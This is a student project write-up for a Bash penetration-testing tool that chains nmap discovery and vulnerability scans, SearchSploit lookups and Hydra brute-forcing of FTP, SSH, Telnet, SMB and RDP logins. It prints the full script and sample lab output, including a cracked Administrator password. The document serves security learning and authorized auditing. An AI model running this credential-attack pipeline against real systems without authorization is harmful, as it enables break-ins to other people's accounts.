

Pentration Testing Project Automated Vulnerability Scanning & Exploitation

Project by: Reut Abergel

Table of Contents

- 1. Introduction**
- 2. Target Audience**
- 3. Requirements**
- 4. Operational Guide**
 - **Step 1:** Execution & Initialization
 - **Step 2:** Target Validation
 - **Step 3:** Network Discovery
 - **Step 4:** Vulnerability Scanning (Basic vs. Full)
 - **Step 5:** Credential Auditing (Hydra)
 - **Step 6:** Reporting & Archiving
- 5. Purpose & Methodology**
- 6. Technical Analysis**
 - **Function:** VLDT (Validation)
 - **Function:** FRSTSCN (Host Discovery)
 - **Function:** BF_SCN (Vulnerability Engine)
 - **Function:** HYDRA (Brute-Force Automation)
- 7. Technical Skills Gained**
- 8. Summary**

1. Introduction

This document serves as a technical guide for the Automated Vulnerability Scanning tool. The primary function of this script is to streamline the penetration testing lifecycle by automating network discovery, vulnerability mapping, and credential auditing against a user-specified IP range.

The script integrates multiple industry-standard security tools into a single, cohesive workflow:

- **Nmap:** For "Stealth" scans (-sS), OS fingerprinting (-O), and NSE scripting.
- **Hydra:** For automated credential testing against identified login services (SSH, FTP, RDP).
- **SearchSploit:** To automatically correlate Nmap service versions with known exploits from the Exploit-DB database.

Data Collection: The tool aggregates findings into a structured directory system:

- **Scan Reports:** Individual text files for every active host.
- **XML Data:** Raw Nmap output for automated parsing.
- **Hydra Logs:** Successful credential pairs found during brute-force attempts.
- **Zip Archive:** A timestamped compressed file containing all evidence for the engagement.

2. Target Audience

This guide and tool are designed for:

- **Penetration Testers:** Professionals seeking to automate the initial "enumeration" phase of an engagement.
- **Network Administrators:** Users needing a quick method to audit their internal networks for weak passwords or outdated services.
- **Cybersecurity Students:** students learning how to chain modular security tools using Bash scripting.

3. Requirements

To successfully execute this script, the following requirements must be met:

1. **Operating System:** Kali Linux (Native or VM) with standard repositories enabled.
2. **Privileges:** Root/Sudo privileges are mandatory for execution (required for Nmap SYN scans and OS detection).
3. **Dependencies:** The script relies on the following packages: nmap, searchsploit, and hydra.
4. **Target Environment:** A permitted IP range (192.168.80.0/24) for legal scanning.

4. Operational Guide

Step 1 Execution & Initialization: The script utilizes a stylistic "Matrix" initialization sequence to confirm system readiness. It must be initiated with elevated privileges to access raw network sockets.

```
L$ sudo ./pt_vulnerability_scanning.sh _
```

Step 2 Target Validation Upon execution: the user defines a workspace directory and the target IP range (CIDR notation). The script immediately runs a "List Scan" (nmap -sL) to verify the range is valid before committing resources to a scan.

```

— Configuration —
[*] please specify a directory to save the output in: DOR
[+] directory is DOR
[*] please write a valid ip range with cidr to scan: 192.168.80.127-130
[+] ip is 192.168.80.127-130
[*] checking if ip is valid, starting to scan...
[+] IP input is valid!

```

Step 3 Network Discovery: The tool performs a rapid "First Scan" (FRSTSCN) using nmap -F (Fast Mode). It filters out "down" hosts and generates an active_ips.txt list. This ensures that subsequent deep scans effectively target only live machines, saving significant time.

```

— Network Discovery —
[*] scanning ip 192.168.80.127
[!] 192.168.80.127 is down, skipping
[*] scanning ip 192.168.80.128
[+] found active host: 192.168.80.128, saving ...
[*] scanning ip 192.168.80.129
[+] found active host: 192.168.80.129, saving ...
[*] scanning ip 192.168.80.130
[!] 192.168.80.130 is down, skipping
[+] Scan complete. Results saved in DOR/checkip_results/

```

Step 4 Vulnerability Scanning, The user selects the depth of analysis:

- **[B]asic:** Performs standard TCP/UDP service detection.
- **[F]ull:** Activates the Nmap Scripting Engine (NSE) for vulnerability detection (vuln, brute categories) and automatically pipes XML results into SearchSploit to identify relevant CVEs.

Full scan: this usually takes a few minutes depends on the number of hosts you are trying to scan, after it displays only the important findings with grep.

```

— Vulnerability Scan Mode —
Full: include Nmap Scripting Engine OR Basic: scans the network for TCP and UDP
[!] —please choose method to scan([B]asic or [F]ull)—: F
[+] you chose F for full scan with nmap scripts
[*] range is 192.168.80.127-130
[*] starting Full scan with nse (nmap script engine) this may take a while ... :
[*] you can press space for estimated time
[*] enter a new directory to save the data: NEW
[*] Scanning IP: 192.168.80.128 (Please wait ... )
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-06 09:01 EST

```

Basic scan: this scan is faster than the Full scan also depends on how many hosts after it displays only the important findings with grep.

```

— Vulnerability Scan Mode —
Full: include Nmap Scripting Engine OR Basic: scans the network for TCP and UDP
[!] —please choose method to scan([B]asic or [F]ull)—: B
[+] you chose B for basic TCP and UDP scanning
[*] range to scan is 192.168.80.127-130
[*] enter a new directory to save the data: NEW2
[*] starting basic scan on active IPs (UDP + TCP) this may take a while:
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-06 09:09 EST

```

Step 5 Credential Auditing: If open login ports (21, 22, 23, 445, 3389) are detected, the HYDRA module is triggered.

- **Targeting:** It dynamically maps ports to services (Port 22 -> SSH).
- **Wordlists:** The user can supply custom lists or default to rockyou.txt and unix_users.txt.
- **Automation:** Brute-force attacks run in parallel with thread optimization (-t 4).

```

Brute Force Attack —
[*] starting weak passwords check with hydra
[*] enter a user list or skip and use Default user list: users-list.txt
[*] enter path to a pass list or press enter and use the default (rockyou.txt): passwords.txt
[*] pass file found using passwords.txt
[*] checking for open ports on 192.168.80.127-130:
[!] Found open port 3389 on 192.168.80.128. Starting Hydra...
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service
is is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-02-06 09:30:56
[WARNING] the rdp module is experimental. Please test, report - and if possible, fix.
[DATA] max 4 tasks per 1 server, overall 4 tasks, 90 login tries (l:6/p:15), ~23 tries per task
[DATA] attacking rdp://192.168.80.128:3389/
[3389][rdp] host: 192.168.80.128 login: Administrator password: Passw0rd!

```

Step 6 Reporting & Archiving: Once scanning is complete, the INSPCT function allows the user to browse individual reports directly in the terminal without exiting the tool. Finally, the script offers to compress the entire workspace into a timestamped .zip file for data integrity and cleanup.

```

INSPECT RESULTS
-----
[*] Available Scan Reports:
192.168.80.128.txt
192.168.80.129.txt
hydra_192.168.80.128_rdp.txt
hydra_192.168.80.128_smb.txt
[*] Enter the IP you want to inspect (or 'q' to quit):q
[*] Exiting inspection.

Archiving —
[!] Do you want to zip the results and delete the original folder? (y/n):

```

5. Purpose & Automation

The tool transforms a fragmented, manual penetration test into a unified automated pipeline. It adheres to two main operational principles:

1. **Efficiency & Scope:** By automating the connection between Nmap and SearchSploit, the tool eliminates the manual labor of looking up CVEs for every service version found.
2. **Intelligent Targeting:** The script uses logic gates (Active IP filtering and Port-to-Service mapping) to ensure that aggressive tools like Hydra are only launched against valid, open targets, reducing noise and false positives.

6. Technical Analysis

The script relies on four core functions to manage the workflow:

1. Function VLDT (Validation): Prevents script failure by validating user input before execution.

Logic: It uses Nmap's "List Scan" flag (-sL), which prints a list of targets without sending packets to the hosts. If this command generates an error log, the script halts and requests new input.

```
function VLDT ()
{
    echo -e "${INFO} checking if ip is valid, starting to scan..."
    nmap $IPRNG -sL -n 2> "$DR/error.log" 1> "$DR/valid_target_list.txt"
    if [ -s "$DR/error.log" ]
    then
        echo -e "${ERR} Wrong input, try again."
        return
    else
        echo -e "${OK} IP input is ${GREEN}valid!${NC}"
    fi
}
```

2. Function FRSTSCN (Host Discovery): Creates a "Kill List" of active targets to optimize performance. Logic: It iterates through the validated IP list and runs a fast scan. It parses the output using grep to look for the specific string "Host is up". Only active IPs are saved to active_ips.txt.

```
function FRSTSCN()
{
    echo -e "\n${BOLD}--- Network Discovery ---${NC}"
    if [ ! -d "$DR/checkip_results" ]
    then
        mkdir -p "$DR/checkip_results"
    fi
    if [ ! -f "$DR/valid_target_list.txt" ]
    then
        echo -e "${ERR} Error: Target list not found. VLDT didnt run"
        return
    fi
    > "$DR/active_ips.txt"

    while read -r IP; do
        echo -e "${INFO} scanning ip ${CYAN}$IP${NC}"
        SCAN_RESULT=$(nmap -F "$IP")
        if echo "$SCAN_RESULT" | grep -q "Host is up"
        then
            echo -e "${OK} found active host: ${GREEN}$IP${NC}, saving..."
            echo "$SCAN_RESULT" > "$DR/checkip_results/$IP"
            echo "$IP" >> "$DR/active_ips.txt"
        else
            echo -e "${WARN} ${CYAN}$IP${NC} is down, skipping"
        fi
    done < <(cat "$DR/valid_target_list.txt" | awk '/Nmap scan report/{print $NF}')

    echo -e "${OK} Scan complete. Results saved in ${WHITE}$DR/checkip_results/${NC}"
}
```

3. Function BF_SCN (Vulnerability Engine): The core intelligence of the tool. It handles the logic between Basic and Full scanning modes.

```
function BF_scn ()
{
    echo -e "\n${BOLD}--- Vulnerability Scan Mode ---${NC}"
    echo -e "Full: include Nmap Scripting Engine OR Basic: scans the network for TCP and UDP"
    read -p "$(echo -e ${WARN})" ---please choose method to scan([B]asic or [F]ull)---: "${NC}" METH
    export DATF=""
    case ${METH} in
        B)
            echo -e "${OK} you chose ${WHITE}B${NC} for basic TCP and UDP scanning"
            echo -e "${INFO} range to scan is ${CYAN}${IPRNG}${NC}"
            read -p "$(echo -e ${INFO}) enter a new directory to save the data: "${NC})" DATF
            mkdir -p "${SDR}/${DATF}"
            echo -e "${INFO} starting basic scan on active IPs (UDP + TCP) this may take a while:"
            for bip in $(cat "${SDR}/active_ips.txt")
            do
                sudo nmap -sS -sV "$bip" -oN "${SDR}/${DATF}/${bip}.txt"
            done
            clear
            echo -e "${CYAN}-----${NC}"
            echo -e "${CYAN}-----${NC}"
            echo -e "${BOLD}!!!!!!!!!!!!!! IMPORTANT FINDINGS ONLY !!!!!!!!!!!!!!!${NC}"
            echo -e "${CYAN}-----${NC}"
            echo -e "${CYAN}-----${NC}"
            grep -E -C 5 --color=always "Nmap scan report|PORT|open" "${SDR}/${DATF}/*.txt"
            echo -e "${OK} basic scan details saved in ${WHITE}${SDR}/${DATF}${NC}"
            ;;
        F)
            echo -e "${OK} you chose ${WHITE}F${NC} for full scan with nmap scripts"
            echo -e "${INFO} range is ${CYAN}${IPRNG}${NC}"
            echo -e "${INFO} starting Full scan with nse (nmap script engine) this may take a while...."
            echo -e "${INFO} you can press space for estimated time"
            read -p "$(echo -e ${INFO}) enter a new directory to save the data: "${NC})" DATF
            mkdir -p "${SDR}/${DATF}"
            for fip in $(cat "${SDR}/active_ips.txt")
            do
                echo -e "${INFO} Scanning IP: ${CYAN}${fip}${NC} (Please wait...)"
                sudo nmap -A -sV -O -p- --script=vuln,brute "${fip}" -oN "${SDR}/${DATF}/${fip}.txt" -oX "${SDR}/${DATF}/${fip}.xml"
            done
            clear
            echo -e "${CYAN}-----${NC}"
            echo -e "${CYAN}-----${NC}"
            echo -e "${BOLD}          SEARCHSPOIT FINDINGS          ${NC}"
            echo -e "${CYAN}-----${NC}"
            echo -e "${CYAN}-----${NC}"
            for fxml in "${SDR}/${DATF}/*.xml"
            do
                if [ -f "$fxml" ]
                then
                    echo -e "${INFO} ---Results for: ${WHITE}${basename "$fxml"}.xml${NC}---"
                    searchsploit --nmap "$fxml"
                else
                    echo -e "${ERR} Error: XML file not found, skipping Searchsploit."
                fi
            done
            echo -e "${CYAN}-----${NC}"
            echo -e "${CYAN}-----${NC}"
            echo -e "${BOLD}!!!!!!!!!!!!!! IMPORTANT FINDINGS ONLY !!!!!!!!!!!!!!!${NC}"
            echo -e "${CYAN}-----${NC}"
            echo -e "${CYAN}-----${NC}"
            grep -E -C 5 --color=always "Nmap scan report|PORT +STATE| open |VULNERABLE|CVE-|Risk factor|Valid credentials|Running:|OS details" "${SDR}/${DATF}/*.txt"
            echo -e "${OK} Full scan complete! details saved in ${WHITE}${SDR}/${DATF}${NC}"
            ;;
        *)
            echo -e "${ERR} [!] not a valid pick [!]"
            ;;
    esac
}
```

4. Function HYDRA (Brute-Force Automation): Automates the complex syntax of Hydra for multiple protocols.

- **Port Mapping:** It reads the Nmap "Grepable" output (-oG) and loops through a list of target ports(21, 22, 23, 445, 3389).
- **Dynamic Service Assignment:** A case statement assigns the correct protocol name (port 445 becomes "smb", port 3389 becomes "rdp") so Hydra uses the correct module.

```

function HYDRA()
{
    echo -e "\n${BOLD}--- Brute Force Attack ---${NC}"
    echo -e "${INFO} starting weak passwords check with hydra "

    read -p "${echo -e ${INFO}} enter a user list or skip and use Default user list: ${NC})" USER_LIST
    USER_LIST=${USER_LIST:-/usr/share/wordlists/metasploit/unix_users.txt}

    read -p "${echo -e ${INFO}} enter path to a pass list or press enter and use the default (rockyou.txt): ${NC})" PASS_LIST
    PASS_LIST=${PASS_LIST:-/usr/share/wordlists/rockyou.txt}

    if [ -f "$PASS_LIST" ]
    then
        echo -e "${OK} pass file found using ${WHITE}$PASS_LIST${NC}"
    else
        echo -e "${ERR} error cannot find the password list you gave using rockyou.txt"
        PASS_LIST="/usr/share/wordlists/rockyou.txt"
    fi

    target_ports="21 22 23 3389 445"
    echo -e "${INFO} checking for open ports on ${CYAN}${IPRNG}${NC}:"
    nmap -p 21,22,23,3389,445 -iL "$DR/active_ips.txt" -oG "$DR/port_info.txt" > /dev/null
    cat "$DR/port_info.txt" | grep "/open" | while read line
    do
        current_ip=$(echo $line | awk '{print $2}')

        for port in $target_ports
        do
            if echo "$line" | grep -q "$port/open"
            then
                echo -e "${WARN} Found open port ${WHITE}$port${NC} on ${CYAN}$current_ip${NC}. Starting Hydra..."

                service=""
                case $port in
                    21) service="ftp" ;;
                    22) service="ssh" ;;
                    23) service="telnet" ;;
                    445) service="smb" ;;
                    3389) service="rdp" ;;
                esac

                if [ ! -z "$service" ]
                then
                    hydra -L "$USER_LIST" -P "$PASS_LIST" "$service://$current_ip" -o "$DR/$DATEF/hydra_${current_ip}_${service}.txt" -t 4
                fi
            fi
        done
    done
    echo -e "${OK} hydra input saved in ${WHITE}$DR/$DATEFs${NC}"
}

```

7. Technical Skills Gained

Through this project, I developed the following technical skills:

- **Advanced Bash Scripting:** Mastered the use of complex loops, case statements for menu logic, and input validation.
- **Vulnerability Correlation:** Automated the translation of raw network data (Nmap XML) into actionable threat intelligence (SearchSploit/Exploit-DB).
- **Network Protocol Automation:** Developed logic to programmatically identify services (SSH, RDP, SMB) and target them with protocol-specific auditing tools.
- **Data Integrity & Reporting:** Implemented structured logging, error handling (2> error.log), and automated archiving logic to maintain a clean chain of evidence.

8. Summary

This project resulted in a fully automated Penetration Testing utility that standardizes the reconnaissance and exploitation phases. By chaining Nmap, SearchSploit, and Hydra, the tool significantly reduces the time required to identify and validate vulnerabilities within a network.